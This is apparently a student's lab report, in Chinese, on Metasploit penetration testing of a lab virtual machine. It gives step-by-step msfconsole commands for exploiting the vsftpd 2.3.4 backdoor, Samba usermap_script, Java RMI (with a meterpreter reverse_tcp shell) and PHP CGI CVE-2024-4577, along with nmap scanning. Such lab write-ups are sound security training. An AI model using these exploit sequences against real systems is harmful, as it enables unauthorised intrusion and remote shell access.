1.实验内容
1.1 内容回顾总结
总而言之这周都重点在于Metasploit工具的使用时间上,对其功能和使用流程有了深入了解,也越发感叹道魔高一尺,道高一丈,好多漏洞如今的操作系统或者软件都已经修复,通过msf针对漏洞实施变得越发困难(重点点名本周的msf测试作业,让我一天都没吃上饭,基本上时间都花在环境配置上,真正的漏洞命令使用反而不占多少时间)
1.2 实验任务
目标靶机IP:192.168.116.133
攻击方kali的IP:192.168.56.107
(1)前期渗透
-
主机发现
-
端口扫描
-
扫描系统版本,漏洞等
(2) Vsftpd源码包后门漏洞(21端口)
(3) SambaMS-RPC Shell命令注入漏洞(端口139)
(4)Java RMI SERVER命令执行漏洞(1099端口)
(5) PHP CGI参数执行注入漏洞(80端口)
2.实验过程
2.1 前期渗透
2.1.1 主机发现
首先使用root权限登入,启用msfconsole控制台
搜索漏洞库
search arp_sweep
use 0
set RHOSTS 192.168.116.0/24
/ 设置目标网段 /
exploit
?但是没有显示目标主机存活
怀疑是攻击方和目标靶机不能Ping通
???但是两台机器都可以ping通?
所以那就换种发现主机方式,利用Ping命令
fping -g 192.168.116.0/24
可以看到主机192.168.116.133存活,成功实现了主机发现
2.1.2 端口扫描
这里使用了nmap命令
首先扫描TCP端口
nmap -sT 192.168.116.133
可以看到哪些TCP端口是开放的
下面可以尝试看看哪些UDP端口开着
nmap -sU 192.168.116.133 -p 端口号/范围
由于udp扫描花费的时间实在是太大,这里就只扫描两个端口作为结果
2.1.3 扫描系统版本,漏洞
扫描一下系统信息
nmap -sV 192.168.116.133
我们能够看到端口对应的应用以及该应用的版本号等信息
下来扫描一下操作系统信息
nmap -O 192.168.116.133
可以看到这里并没有直接列出目标主机的OS,只是说明了有哪些可能得OS
下面扫描以下目标靶机的漏洞
nmsp --script vuln -T4 192.168.116.133
-
script vuln: 告诉nmap运行所有的“vuln”类别的脚本,vuln类型脚本一般用与漏洞扫描
-
T4 :表示扫描的速度
可看到能够扫描出目标靶机存在的一些漏洞,其中就有我们这次实验要用到的Vsftpd源码包后门漏洞、Java RMI SERVER命令执行漏洞等
2.2 Vsftpd源码包后门漏洞(21端口)
漏洞介绍:(笑脸漏洞)这个漏洞的触发条件是在FTP的登录过程中,用户提供的用户名将包含一个连续的 : 字符(即笑脸表情)。当vsftpd检测到这样的用户名时,它会执行vsf_sysutil_extra()函数,这个函数负责打开6200端口并监听连接。由于这个行为超出了正常的FTP服务器功能,因此被认为是一个后门
首先查看目标端口是否开放,漏洞是不是存在
nmap -sV -p 21 192.168.116.133
vsfxftp版本刚好就是2.3.4,是漏洞存在的版本,大大增加了攻击的成功几率
下面启动msf控制台,搜索该漏洞信息
search vsftpd
use 1
刚好有2.3.4版本这个漏洞,直接使用
线面配置命令参数
set RHOST 192.168.116.133
set payload cmd/unix/interact
show options
exploit,执行!
可以看到成功攻击,使用pwd、ifconfig、id、uname -a
等命令都可以执行并且输出对应的信息
2.3 SambaMS-RPC Shell命令注入漏洞(端口139)
漏洞介绍:Samba MS-RPC Shell命令注入漏洞(CVE-2007-2447)是指在旧版本的Samba软件中存在的一个安全漏洞。这个漏洞允许攻击者通过构造特殊的输入来执行任意命令。具体来说,Samba中的usermap_script功能在处理用户输入时没有进行适当的过滤,从而使得攻击者可以在调用smb.conf中定义的外部脚本时,通过MS-RPC接口提交恶意输入,进而在服务器上执行命令。
漏洞使用流程大差不差,先看一下相关漏洞的信息
search samba
然后选择需要的漏洞库,并进行参数配置
use exploit/multi/samba/usermap_script
set RHOST 192.168.116.133
set LHOST 192.168.56.107
options
设置检查没有问题,然后exploit执行!
可以看到也成功攻击到靶机,使用uname -a、ifconfig、id、whoami
等命令都可以获取到靶机的信息
2.4 Java RMI SERVER命令执行漏洞(1099端口)
漏洞介绍:Java RMI(Remote Method Invocation)服务器命令执行漏洞是指攻击者利用Java RMI服务的脆弱性,通过发送特制的序列化对象来实现远程执行任意命令。这个漏洞通常发生在RMI服务不加筛选地接受和解析客户端发送的数据时。由于Java序列化机制允许攻击者在数据中嵌入恶意代码,如果RMI服务在反序列化时没有进行适当的安全检查,攻击者就能够执行这些代码。
首先查看一下目标靶机端口是否打开,以及对应的应用信息
nmap -sV -p 1099 192.168.116.133
很好,目标端口开启着,开始实施攻击
search rmi
/ 搜索漏洞相关信息 /
下面选择想用的漏洞库
use exploit/multi/misc/java_rmi/java_rmi_server
set RHOSTS 192.168.116.133
set lhost 192.168.56.107
set payload java/meterpreter/reverse_tcp
options
配置没有问题,exploit开始执行
这里我的kali端直接进入了meterpreter,这里无法查看sessions。。
shell
可以看到成功获取到主机的shell,使用whoami、ifconfig、id
等命令均可执行,成功攻击到靶机
2.5 PHP CGI参数执行注入漏洞(80端口)
PHP CGI参数执行注入漏洞(CVE-2024-4577)发生在PHP的CGI模式下,当Web服务器(如Apache)以CGI方式调用PHP处理程序时。这个漏洞利用了Windows系统中的字符编码处理特性,特别是“Best-Fit Mapping”特性,该特性在字符编码转换过程中会将某些字符映射为等效的字符。在这个漏洞中,攻击者通过发送包含特定非打印字符(如软连字符0xAD)的查询字符串,利用Windows在处理这些字符时的错误映射,将软连字符错误地识别为命令行参数分隔符‘-’。这样,攻击者构造的查询字符串在经过错误的编码转换后,被当作合法的命令行参数传递给PHP,从而绕过了正常的安全检查,实现了在服务器上执行任意代码。
老流程,查看靶机端口是否开放,对饮给的应用信息是怎么样的
nmap -sV -p 80 192.168.116.133
搜索对应漏洞,使用
search php_cgi
use 0
设置需要参数
set RHOSTS 192.168.116.133
set LHOST 192.168.56.107
run
shell
可以看到成功获取到靶机的shell,使用whoami、id、uname -a
等命令都可以执行
3.问题及解决方案
- 问题:exploit时候攻击方IP绑定错误
在执行 SambaMS-RPC Shell命令注入漏洞使用时候,参数最开始只设置了set RHOST 192.168.116.133
,exploit的时候发现攻击方的IP出现了错误,导致没有成功创建session
方法也很简单,设置参数的时候记得设置lhost也就是攻击方的IP地址加上
set LHOST 192.168.56.107
果然成功执行,所以有时候攻击失败也能是参数设置的时候出现问题
4.学习感悟、思考等
- 通过Metasploit渗透测试作业,加上这次实验,让我对这个工具有了更加深入的了解,以及使用方面也更加流畅。大体上使用流程为
进入msf控制台
查找对应漏洞相关信息
选择加载想用的模块
设置需要的参数
exploit/run执行
-
同时通过对于漏洞的了解和学习,也进一步提高了自己的安全意识,所以有时候一些应用软件提示需要升级的时候,很大几率也修复了不少已经存在的漏洞或安全隐患,某种方面也算一种抵抗攻击的手段。
-
总而言之这次实验相对前面的简单了不少,但这是建立在已经有完整工具以及环境之上的,实验重点在于漏洞使用进行渗透测试的方式,以及反过来该如何预防或者修补这些漏洞,魔高一尺道高一丈,网络攻防双方都在不断前进。